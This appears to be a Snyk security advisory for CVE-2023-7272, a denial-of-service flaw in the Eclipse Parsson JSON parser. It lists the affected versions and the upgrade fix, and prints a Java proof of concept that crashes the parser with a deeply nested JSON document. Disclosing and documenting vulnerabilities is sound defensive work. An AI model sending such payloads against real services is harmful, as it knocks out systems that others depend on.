Out-of-bounds Write Affecting org.eclipse.parsson:parsson package, versions [,1.0.4)[1.1.0,1.1.3)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (12th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JAVA-ORGECLIPSEPARSSON-7536978
  • published18 Jul 2024
  • disclosed17 Jul 2024
  • creditLukas Jungmann

Introduced: 17 Jul 2024

CVE-2023-7272  (opens in a new tab)
CWE-787  (opens in a new tab)

How to fix?

Upgrade org.eclipse.parsson:parsson to version 1.0.4, 1.1.3 or higher.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Write due to the handling of deeply nested JSON input. An attacker can cause Java stack overflow exception and denial of service.

PoC

import jakarta.json.Json;
import jakarta.json.stream.JsonParser;

import java.io.StringReader;

public class Main {
    public static void main(String[] args) {
        try {
            String json = createDeepNestedDoc(50000);
            try (JsonParser parser = Json.createParser(new StringReader(json))) {
                while (parser.hasNext()) {
                    JsonParser.Event ev = parser.next();
                    if (ev.name().equals("START_ARRAY")) {
                        parser.getArray();
                    }
                }
            }
        } catch (Throwable t) {
            t.printStackTrace();
        }
    }

    private static String createDeepNestedDoc(final int depth) {
        StringBuilder sb = new StringBuilder();
        sb.append("[");
        for (int i = 0; i < depth; i++) {
            sb.append("{ \"a\": [");
        }
        sb.append(" \"val\" ");
        for (int i = 0; i < depth; i++) {
            sb.append("]}");
        }
        sb.append("]");
        return sb.toString();
    }
}

CVSS Scores

version 4.0
version 3.1